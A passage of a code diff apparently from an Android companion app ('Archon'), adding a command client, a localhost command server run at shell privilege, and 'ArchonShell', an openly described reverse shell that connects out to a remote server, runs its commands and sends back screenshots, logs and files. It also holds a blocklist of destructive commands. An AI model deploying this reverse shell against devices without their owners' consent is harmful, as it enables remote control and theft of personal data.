(token == null) { + token = readTokenFile(); + } + if (token == null) { + System.err.println("arish: no auth token. Use -t or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE); + System.exit(1); + } + + // Check if stdin is a pipe (non-interactive) + boolean isPiped = false; + try { + isPiped = System.in.available() > 0 || singleCmd != null; + } catch (Exception e) { + // Assume interactive + } + + if (singleCmd != null) { + // Single command mode + int exitCode = executeRemote(token, port, singleCmd); + System.exit(exitCode); + } else if (isPiped) { + // Pipe mode — read commands from stdin + runPiped(token, port); + } else { + // Interactive mode + runInteractive(token, port); + } + } + + private static void runInteractive(String token, int port) { + System.out.println("arish — Archon Remote Interactive Shell (UID 2000)"); + System.out.println("Connected to ArchonServer on localhost:" + port); + System.out.println("Type 'exit' to quit.\n"); + + BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in)); + + while (true) { + System.out.print("arish$ "); + System.out.flush(); + + String line; + try { + line = stdin.readLine(); + } catch (Exception e) { + break; + } + if (line == null) break; // EOF + line = line.trim(); + if (line.isEmpty()) continue; + if (line.equals("exit") || line.equals("quit")) break; + + executeRemote(token, port, line); + } + + System.out.println("\narish: disconnected"); + } + + private static void runPiped(String token, int port) { + BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in)); + int lastExit = 0; + try { + String line; + while ((line = stdin.readLine()) != null) { + line = line.trim(); + if (line.isEmpty() || line.startsWith("#")) continue; + lastExit = executeRemote(token, port, line); + } + } catch (Exception e) { + System.err.println("arish: read error: " + e.getMessage()); + } + System.exit(lastExit); + } + + private static int executeRemote(String token, int port, String command) { + try { + InetAddress loopback = InetAddress.getByName("127.0.0.1"); + Socket sock = new Socket(); + sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT); + sock.setSoTimeout(READ_TIMEOUT); + + PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true); + BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream())); + + // Send command as JSON + String json = "{\"token\":\"" + escapeJson(token) + "\"," + + "\"cmd\":\"" + escapeJson(command) + "\"," + + "\"timeout\":30}"; + writer.println(json); + writer.flush(); + + // Read response + String response = reader.readLine(); + sock.close(); + + if (response == null) { + System.err.println("arish: no response from server"); + return -1; + } + + // Parse JSON response (minimal hand-parsing, same as ArchonServer pattern) + String stdout = extractJsonString(response, "stdout"); + String stderr = extractJsonString(response, "stderr"); + int exitCode = extractJsonInt(response, "exit_code", -1); + + if (stdout != null && !stdout.isEmpty()) { + System.out.print(stdout); + if (!stdout.endsWith("\n")) System.out.println(); + } + if (stderr != null && !stderr.isEmpty()) { + System.err.print(stderr); + if (!stderr.endsWith("\n")) System.err.println(); + } + + return exitCode; + + } catch (java.net.ConnectException e) { + System.err.println("arish: cannot connect to ArchonServer on localhost:" + port); + System.err.println("arish: is the server running? Check Setup tab in Archon app."); + return -1; + } catch (Exception e) { + System.err.println("arish: error: " + e.getMessage()); + return -1; + } + } + + // ── JSON Helpers (hand-rolled, no library dependencies) ────── + + private static String escapeJson(String s) { + if (s == null) return ""; + StringBuilder sb = new StringBuilder(); + for (int j = 0; j < s.length(); j++) { + char c = s.charAt(j); + switch (c) { + case '"': sb.append("\\\""); break; + case '\\': sb.append("\\\\"); break; + case '\n': sb.append("\\n"); break; + case '\r': sb.append("\\r"); break; + case '\t': sb.append("\\t"); break; + default: sb.append(c); break; + } + } + return sb.toString(); + } + + private static String extractJsonString(String json, String key) { + String searchKey = "\"" + key + "\":\""; + int start = json.indexOf(searchKey); + if (start < 0) return ""; + start += searchKey.length(); + + StringBuilder sb = new StringBuilder(); + boolean escape = false; + for (int j = start; j < json.length(); j++) { + char c = json.charAt(j); + if (escape) { + switch (c) { + case 'n': sb.append('\n'); break; + case 'r': sb.append('\r'); break; + case 't': sb.append('\t'); break; + case '"': sb.append('"'); break; + case '\\': sb.append('\\'); break; + default: sb.append(c); break; + } + escape = false; + } else if (c == '\\') { + escape = true; + } else if (c == '"') { + break; + } else { + sb.append(c); + } + } + return sb.toString(); + } + + private static int extractJsonInt(String json, String key, int defaultValue) { + // Try "key":N pattern + String searchKey = "\"" + key + "\":"; + int start = json.indexOf(searchKey); + if (start < 0) return defaultValue; + start += searchKey.length(); + + StringBuilder sb = new StringBuilder(); + for (int j = start; j < json.length(); j++) { + char c = json.charAt(j); + if (c == '-' || (c >= '0' && c <= '9')) { + sb.append(c); + } else { + break; + } + } + try { + return Integer.parseInt(sb.toString()); + } catch (NumberFormatException e) { + return defaultValue; + } + } + + private static String readTokenFile() { + try { + java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE); + if (!f.exists()) return null; + BufferedReader br = new BufferedReader(new java.io.FileReader(f)); + String token = br.readLine(); + br.close(); + if (token != null) token = token.trim(); + return (token != null && !token.isEmpty()) ? token : null; + } catch (Exception e) { + return null; + } + } + + private static void printHelp() { + System.out.println("arish — Archon Remote Interactive Shell"); + System.out.println(); + System.out.println("Usage:"); + System.out.println(" arish Interactive shell (UID 2000)"); + System.out.println(" arish Execute single command"); + System.out.println(" arish -t Specify auth token"); + System.out.println(" arish -p Specify server port (default: 17321)"); + System.out.println(" echo \"cmd\" | arish Pipe commands"); + System.out.println(); + System.out.println("The ArchonServer must be running (start from the Archon app Setup tab)."); + System.out.println("Commands execute at UID 2000 (shell) — same as adb shell."); + System.out.println(); + System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified."); + System.out.println("The Archon app writes this file when the server starts."); + } +} diff --git a/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonServer.java b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonServer.java new file mode 100644 index 0000000..e12e462 --- /dev/null +++ b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonServer.java @@ -0,0 +1,380 @@ +package com.darkhal.archon.server; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.InetAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Locale; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; + +/** + * Archon Privileged Server — runs via app_process at shell (UID 2000) level. + * + * Started via ADB: + * CLASSPATH=/data/app/.../base.apk app_process /system/bin \ + * --nice-name=archon_server com.darkhal.archon.server.ArchonServer + * + * Listens on localhost: for JSON commands authenticated with a token. + * Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC. + * + * Protocol (JSON over TCP, newline-delimited): + * Request: {"token":"xxx","cmd":"pm list packages","timeout":30} + * Response: {"stdout":"...","stderr":"...","exit_code":0} + * + * Special commands: + * {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0} + * {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully + * {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0} + */ +public class ArchonServer { + + private static final String TAG = "ArchonServer"; + private static final String LOG_FILE = "/data/local/tmp/archon_server.log"; + private static final int DEFAULT_TIMEOUT = 30; + private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking) + + // Safety blocklist — commands that could brick the device + private static final String[] BLOCKED_PATTERNS = { + "rm -rf /", + "rm -rf /*", + "mkfs", + "dd if=/dev/zero", + "reboot", + "shutdown", + "init 0", + "init 6", + "flash_image", + "erase_image", + "format_data", + "> /dev/block", + }; + + private static String authToken; + private static int listenPort; + private static final AtomicBoolean running = new AtomicBoolean(true); + private static ExecutorService executor; + private static long startTime; + + public static void main(String[] args) { + if (args.length < 2) { + System.err.println("Usage: ArchonServer "); + System.exit(1); + } + + authToken = args[0]; + listenPort = Integer.parseInt(args[1]); + startTime = System.currentTimeMillis(); + + log("Starting Archon Server on port " + listenPort); + log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid()); + + // Handle SIGTERM for graceful shutdown + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + log("Shutdown hook triggered"); + running.set(false); + if (executor != null) { + executor.shutdownNow(); + } + })); + + executor = Executors.newCachedThreadPool(); + + try { + // Bind to localhost only — not accessible from network + InetAddress loopback = InetAddress.getByName("127.0.0.1"); + ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback); + log("Listening on 127.0.0.1:" + listenPort); + + while (running.get()) { + try { + Socket client = serverSocket.accept(); + client.setSoTimeout(60000); // 60s read timeout per connection + executor.submit(() -> handleClient(client)); + } catch (SocketTimeoutException e) { + // Expected, loop continues + } catch (IOException e) { + if (running.get()) { + log("Accept error: " + e.getMessage()); + } + } + } + + serverSocket.close(); + } catch (IOException e) { + log("Fatal: " + e.getMessage()); + System.exit(2); + } + + log("Server stopped"); + if (executor != null) { + executor.shutdown(); + try { + executor.awaitTermination(5, TimeUnit.SECONDS); + } catch (InterruptedException ignored) {} + } + System.exit(0); + } + + private static void handleClient(Socket client) { + String clientAddr = client.getRemoteSocketAddress().toString(); + log("Client connected: " + clientAddr); + + try ( + BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream())); + PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true) + ) { + String line; + while ((line = reader.readLine()) != null) { + String response = processRequest(line); + writer.println(response); + writer.flush(); + + // Check if we should shut down after this request + if (!running.get()) { + break; + } + } + } catch (IOException e) { + log("Client error: " + e.getMessage()); + } finally { + try { client.close(); } catch (IOException ignored) {} + log("Client disconnected: " + clientAddr); + } + } + + private static String processRequest(String json) { + // Simple JSON parsing without dependencies + String token = extractJsonString(json, "token"); + String cmd = extractJsonString(json, "cmd"); + int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT); + + // No-auth alive check — allows any client to verify server is running + if ("__alive__".equals(cmd)) { + return jsonResponse("alive", "", 0); + } + + // Verify auth token + if (token == null || !token.equals(authToken)) { + log("Auth failed from request"); + return jsonResponse("", "Authentication failed", -1); + } + + if (cmd == null || cmd.isEmpty()) { + return jsonResponse("", "No command specified", -1); + } + + // Handle special commands + switch (cmd) { + case "__ping__": + return jsonResponse("pong", "", 0); + + case "__shutdown__": + log("Shutdown requested"); + running.set(false); + return jsonResponse("Server shutting down", "", 0); + + case "__info__": + long uptime = (System.currentTimeMillis() - startTime) / 1000; + String info = "uid=" + android.os.Process.myUid() + + " pid=" + android.os.Process.myPid() + + " uptime=" + uptime + "s"; + return jsonResponse(info, "", 0); + } + + // Safety check + if (isBlocked(cmd)) { + log("BLOCKED dangerous command: " + cmd); + return jsonResponse("", "Command blocked by safety filter", -1); + } + + // Execute the command + return executeCommand(cmd, timeout); + } + + private static boolean isBlocked(String cmd) { + String lower = cmd.toLowerCase(Locale.ROOT).trim(); + for (String pattern : BLOCKED_PATTERNS) { + if (lower.contains(pattern.toLowerCase(Locale.ROOT))) { + return true; + } + } + return false; + } + + private static String executeCommand(String cmd, int timeoutSec) { + try { + ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd); + pb.redirectErrorStream(false); + Process process = pb.start(); + + // Read stdout and stderr in parallel to avoid deadlocks + StringBuilder stdout = new StringBuilder(); + StringBuilder stderr = new StringBuilder(); + + Thread stdoutThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stdout.length() > 0) stdout.append("\n"); + stdout.append(line); + } + } catch (IOException ignored) {} + }); + + Thread stderrThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stderr.length() > 0) stderr.append("\n"); + stderr.append(line); + } + } catch (IOException ignored) {} + }); + + stdoutThread.start(); + stderrThread.start(); + + boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS); + + if (!completed) { + process.destroyForcibly(); + stdoutThread.join(1000); + stderrThread.join(1000); + return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1); + } + + stdoutThread.join(5000); + stderrThread.join(5000); + + return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue()); + + } catch (Exception e) { + return jsonResponse("", "Execution error: " + e.getMessage(), -1); + } + } + + // ── JSON helpers (no library dependencies) ────────────────────── + + private static String jsonResponse(String stdout, String stderr, int exitCode) { + return "{\"stdout\":" + jsonEscape(stdout) + + ",\"stderr\":" + jsonEscape(stderr) + + ",\"exit_code\":" + exitCode + "}"; + } + + private static String jsonEscape(String s) { + if (s == null) return "\"\""; + StringBuilder sb = new StringBuilder("\""); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + switch (c) { + case '"': sb.append("\\\""); break; + case '\\': sb.append("\\\\"); break; + case '\b': sb.append("\\b"); break; + case '\f': sb.append("\\f"); break; + case '\n': sb.append("\\n"); break; + case '\r': sb.append("\\r"); break; + case '\t': sb.append("\\t"); break; + default: + if (c < 0x20) { + sb.append(String.format("\\u%04x", (int) c)); + } else { + sb.append(c); + } + } + } + sb.append("\""); + return sb.toString(); + } + + private static String extractJsonString(String json, String key) { + // Pattern: "key":"value" or "key": "value" + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return null; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return null; + + // Skip whitespace + idx++; + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + + if (idx >= json.length() || json.charAt(idx) != '"') return null; + idx++; // skip opening quote + + StringBuilder sb = new StringBuilder(); + while (idx < json.length()) { + char c = json.charAt(idx); + if (c == '\\' && idx + 1 < json.length()) { + char next = json.charAt(idx + 1); + switch (next) { + case '"': sb.append('"'); break; + case '\\': sb.append('\\'); break; + case 'n': sb.append('\n'); break; + case 'r': sb.append('\r'); break; + case 't': sb.append('\t'); break; + default: sb.append(next); break; + } + idx += 2; + } else if (c == '"') { + break; + } else { + sb.append(c); + idx++; + } + } + return sb.toString(); + } + + private static int extractJsonInt(String json, String key, int defaultVal) { + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return defaultVal; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return defaultVal; + + idx++; + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + + StringBuilder sb = new StringBuilder(); + while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) { + sb.append(json.charAt(idx)); + idx++; + } + + try { + return Integer.parseInt(sb.toString()); + } catch (NumberFormatException e) { + return defaultVal; + } + } + + // ── Logging ───────────────────────────────────────────────────── + + private static void log(String msg) { + String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date()); + String line = timestamp + " [" + TAG + "] " + msg; + System.out.println(line); + + try { + FileWriter fw = new FileWriter(LOG_FILE, true); + fw.write(line + "\n"); + fw.close(); + } catch (IOException ignored) { + // Can't write log file — not fatal + } + } +} diff --git a/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonShell.java b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonShell.java new file mode 100644 index 0000000..b34a439 --- /dev/null +++ b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonShell.java @@ -0,0 +1,659 @@ +package com.darkhal.archon.server; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Locale; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; + +/** + * Archon Reverse Shell — outbound shell connecting back to AUTARCH server. + * + * Runs via app_process at shell (UID 2000) level, same as ArchonServer. + * Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener. + * + * Started via ADB: + * CLASSPATH=/data/app/.../base.apk app_process /system/bin \ + * --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \ + * + * + * Protocol (JSON over TCP, newline-delimited): + * Auth handshake (client → server): + * {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000} + * Server response: + * {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."} + * + * Command (server → client): + * {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"} + * Response (client → server): + * {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0} + * + * Special commands (server → client): + * {"type":"cmd","cmd":"__sysinfo__","id":"..."} + * {"type":"cmd","cmd":"__packages__","id":"..."} + * {"type":"cmd","cmd":"__screenshot__","id":"..."} + * {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"} + * {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."} + * {"type":"cmd","cmd":"__processes__","id":"..."} + * {"type":"cmd","cmd":"__netstat__","id":"..."} + * {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100} + * {"type":"cmd","cmd":"__disconnect__"} + * + * Keepalive (bidirectional): + * {"type":"ping"} → {"type":"pong"} + */ +public class ArchonShell { + + private static final String TAG = "ArchonShell"; + private static final String LOG_FILE = "/data/local/tmp/archon_shell.log"; + private static final int DEFAULT_TIMEOUT = 30; + private static final int CONNECT_TIMEOUT_MS = 10000; + private static final int KEEPALIVE_INTERVAL_MS = 30000; + + // Same safety blocklist as ArchonServer + private static final String[] BLOCKED_PATTERNS = { + "rm -rf /", + "rm -rf /*", + "mkfs", + "dd if=/dev/zero", + "reboot", + "shutdown", + "init 0", + "init 6", + "flash_image", + "erase_image", + "format_data", + "> /dev/block", + }; + + private static String serverIp; + private static int serverPort; + private static String authToken; + private static int timeoutMinutes; + private static final AtomicBoolean running = new AtomicBoolean(true); + private static long startTime; + private static int commandCount = 0; + + public static void main(String[] args) { + if (args.length < 4) { + System.err.println("Usage: ArchonShell "); + System.exit(1); + } + + serverIp = args[0]; + serverPort = Integer.parseInt(args[1]); + authToken = args[2]; + timeoutMinutes = Integer.parseInt(args[3]); + startTime = System.currentTimeMillis(); + + log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort); + log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid()); + log("Timeout: " + timeoutMinutes + " minutes"); + + // Shutdown hook + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + log("Shutdown hook triggered"); + running.set(false); + })); + + // Start timeout watchdog + Thread watchdog = new Thread(() -> { + long deadline = startTime + (timeoutMinutes * 60L * 1000L); + while (running.get()) { + if (System.currentTimeMillis() > deadline) { + log("Auto-timeout after " + timeoutMinutes + " minutes"); + running.set(false); + break; + } + try { Thread.sleep(5000); } catch (InterruptedException e) { break; } + } + }); + watchdog.setDaemon(true); + watchdog.start(); + + // Connect and run shell loop + Socket socket = null; + try { + socket = new Socket(); + socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS); + socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection + socket.setKeepAlive(true); + + log("Connected to " + serverIp + ":" + serverPort); + + BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); + PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true); + + // Send auth handshake + if (!authenticate(writer, reader)) { + log("Authentication failed — disconnecting"); + System.exit(3); + } + + log("Authenticated — entering shell loop"); + + // Main command loop: read commands from server, execute, return results + shellLoop(reader, writer); + + } catch (IOException e) { + log("Connection failed: " + e.getMessage()); + System.exit(2); + } finally { + if (socket != null) { + try { socket.close(); } catch (IOException ignored) {} + } + } + + log("Shell stopped — " + commandCount + " commands executed"); + System.exit(0); + } + + private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException { + // Gather device info + String model = getSystemProp("ro.product.model", "unknown"); + String androidVer = getSystemProp("ro.build.version.release", "unknown"); + int uid = android.os.Process.myUid(); + + String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) + + ",\"device\":" + jsonEscape(model) + + ",\"android\":" + jsonEscape(androidVer) + + ",\"uid\":" + uid + "}"; + + writer.println(authMsg); + writer.flush(); + + // Wait for auth response + String response = reader.readLine(); + if (response == null) return false; + + String type = extractJsonString(response, "type"); + if ("auth_ok".equals(type)) { + return true; + } + + String reason = extractJsonString(response, "reason"); + log("Auth rejected: " + (reason != null ? reason : "unknown reason")); + return false; + } + + private static void shellLoop(BufferedReader reader, PrintWriter writer) { + while (running.get()) { + try { + String line = reader.readLine(); + if (line == null) { + log("Server closed connection"); + running.set(false); + break; + } + + String type = extractJsonString(line, "type"); + if (type == null) continue; + + switch (type) { + case "cmd": + handleCommand(line, writer); + break; + case "ping": + writer.println("{\"type\":\"pong\"}"); + writer.flush(); + break; + case "disconnect": + log("Server requested disconnect"); + running.set(false); + break; + default: + log("Unknown message type: " + type); + break; + } + + } catch (java.net.SocketTimeoutException e) { + // Send keepalive ping + writer.println("{\"type\":\"ping\"}"); + writer.flush(); + } catch (IOException e) { + log("Connection error: " + e.getMessage()); + running.set(false); + break; + } + } + } + + private static void handleCommand(String json, PrintWriter writer) { + String cmd = extractJsonString(json, "cmd"); + String id = extractJsonString(json, "id"); + int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT); + + if (cmd == null || cmd.isEmpty()) { + sendResult(writer, id, "", "No command specified", -1); + return; + } + + commandCount++; + log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd)); + + // Handle special commands + switch (cmd) { + case "__sysinfo__": + handleSysinfo(writer, id); + return; + case "__packages__": + handlePackages(writer, id); + return; + case "__screenshot__": + handleScreenshot(writer, id); + return; + case "__processes__": + handleProcesses(writer, id); + return; + case "__netstat__": + handleNetstat(writer, id); + return; + case "__dumplog__": + int lines = extractJsonInt(json, "lines", 100); + handleDumplog(writer, id, lines); + return; + case "__download__": + String dlPath = extractJsonString(json, "path"); + handleDownload(writer, id, dlPath); + return; + case "__upload__": + String ulPath = extractJsonString(json, "path"); + String ulData = extractJsonString(json, "data"); + handleUpload(writer, id, ulPath, ulData); + return; + case "__disconnect__": + log("Disconnect command received"); + running.set(false); + sendResult(writer, id, "Disconnecting", "", 0); + return; + } + + // Safety check + if (isBlocked(cmd)) { + log("BLOCKED dangerous command: " + cmd); + sendResult(writer, id, "", "Command blocked by safety filter", -1); + return; + } + + // Execute regular shell command + String response = executeCommand(cmd, timeout); + writer.println(addId(response, id)); + writer.flush(); + } + + // ── Special command handlers ──────────────────────────────────── + + private static void handleSysinfo(PrintWriter writer, String id) { + StringBuilder info = new StringBuilder(); + info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n"); + info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n"); + info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n"); + info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n"); + info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n"); + info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n"); + info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n"); + info.append("UID: ").append(android.os.Process.myUid()).append("\n"); + info.append("PID: ").append(android.os.Process.myPid()).append("\n"); + info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n"); + info.append("Commands: ").append(commandCount).append("\n"); + + // Disk usage + String df = quickExec("df -h /data 2>/dev/null | tail -1", 5); + if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n"); + + // Memory + String mem = quickExec("cat /proc/meminfo | head -3", 5); + if (mem != null) info.append(mem); + + sendResult(writer, id, info.toString(), "", 0); + } + + private static void handlePackages(PrintWriter writer, String id) { + String result = quickExec("pm list packages -f 2>/dev/null", 30); + sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1); + } + + private static void handleScreenshot(PrintWriter writer, String id) { + // Capture screenshot to temp file, then base64 encode + String tmpFile = "/data/local/tmp/archon_screenshot.png"; + String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10); + + if (captureResult == null || new File(tmpFile).length() == 0) { + sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1); + return; + } + + // Base64 encode — read in chunks to avoid memory issues + String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30); + quickExec("rm " + tmpFile, 5); + + if (b64 != null && !b64.isEmpty()) { + sendResult(writer, id, b64, "", 0); + } else { + sendResult(writer, id, "", "Failed to encode screenshot", -1); + } + } + + private static void handleProcesses(PrintWriter writer, String id) { + String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10); + sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1); + } + + private static void handleNetstat(PrintWriter writer, String id) { + StringBuilder sb = new StringBuilder(); + + String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5); + if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); } + + String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5); + if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); } + + String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5); + if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); } + + sendResult(writer, id, sb.toString(), "", 0); + } + + private static void handleDumplog(PrintWriter writer, String id, int lines) { + String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15); + sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1); + } + + private static void handleDownload(PrintWriter writer, String id, String path) { + if (path == null || path.isEmpty()) { + sendResult(writer, id, "", "No path specified", -1); + return; + } + + File file = new File(path); + if (!file.exists()) { + sendResult(writer, id, "", "File not found: " + path, -1); + return; + } + + if (file.length() > 50 * 1024 * 1024) { // 50MB limit + sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1); + return; + } + + String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60); + if (b64 != null && !b64.isEmpty()) { + // Send with metadata + String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") + + ",\"stdout\":" + jsonEscape(b64) + + ",\"stderr\":\"\",\"exit_code\":0" + + ",\"filename\":" + jsonEscape(file.getName()) + + ",\"size\":" + file.length() + "}"; + writer.println(meta); + writer.flush(); + } else { + sendResult(writer, id, "", "Failed to read file", -1); + } + } + + private static void handleUpload(PrintWriter writer, String id, String path, String data) { + if (path == null || path.isEmpty()) { + sendResult(writer, id, "", "No path specified", -1); + return; + } + if (data == null || data.isEmpty()) { + sendResult(writer, id, "", "No data specified", -1); + return; + } + + // Write base64 data to temp file, then decode to destination + String tmpFile = "/data/local/tmp/archon_upload_tmp"; + try { + FileWriter fw = new FileWriter(tmpFile); + fw.write(data); + fw.close(); + + String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30); + quickExec("rm " + tmpFile, 5); + + File dest = new File(path); + if (dest.exists()) { + sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0); + } else { + sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1); + } + } catch (IOException e) { + sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1); + } + } + + // ── Command execution ────────────────────────────────────────── + + private static boolean isBlocked(String cmd) { + String lower = cmd.toLowerCase(Locale.ROOT).trim(); + for (String pattern : BLOCKED_PATTERNS) { + if (lower.contains(pattern.toLowerCase(Locale.ROOT))) { + return true; + } + } + return false; + } + + private static String executeCommand(String cmd, int timeoutSec) { + try { + ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd); + pb.redirectErrorStream(false); + Process process = pb.start(); + + StringBuilder stdout = new StringBuilder(); + StringBuilder stderr = new StringBuilder(); + + Thread stdoutThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stdout.length() > 0) stdout.append("\n"); + stdout.append(line); + } + } catch (IOException ignored) {} + }); + + Thread stderrThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stderr.length() > 0) stderr.append("\n"); + stderr.append(line); + } + } catch (IOException ignored) {} + }); + + stdoutThread.start(); + stderrThread.start(); + + boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS); + + if (!completed) { + process.destroyForcibly(); + stdoutThread.join(1000); + stderrThread.join(1000); + return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1); + } + + stdoutThread.join(5000); + stderrThread.join(5000); + + return jsonResult(stdout.toString(), stderr.toString(), process.exitValue()); + + } catch (Exception e) { + return jsonResult("", "Execution error: " + e.getMessage(), -1); + } + } + + /** Quick exec for internal use — returns stdout or null on failure. */ + private static String quickExec(String cmd, int timeoutSec) { + try { + ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd); + pb.redirectErrorStream(true); + Process process = pb.start(); + + StringBuilder output = new StringBuilder(); + Thread reader = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (output.length() > 0) output.append("\n"); + output.append(line); + } + } catch (IOException ignored) {} + }); + reader.start(); + + boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS); + if (!completed) { + process.destroyForcibly(); + } + reader.join(2000); + return output.toString(); + } catch (Exception e) { + return null; + } + } + + private static String getSystemProp(String key, String defaultVal) { + String result = quickExec("getprop " + 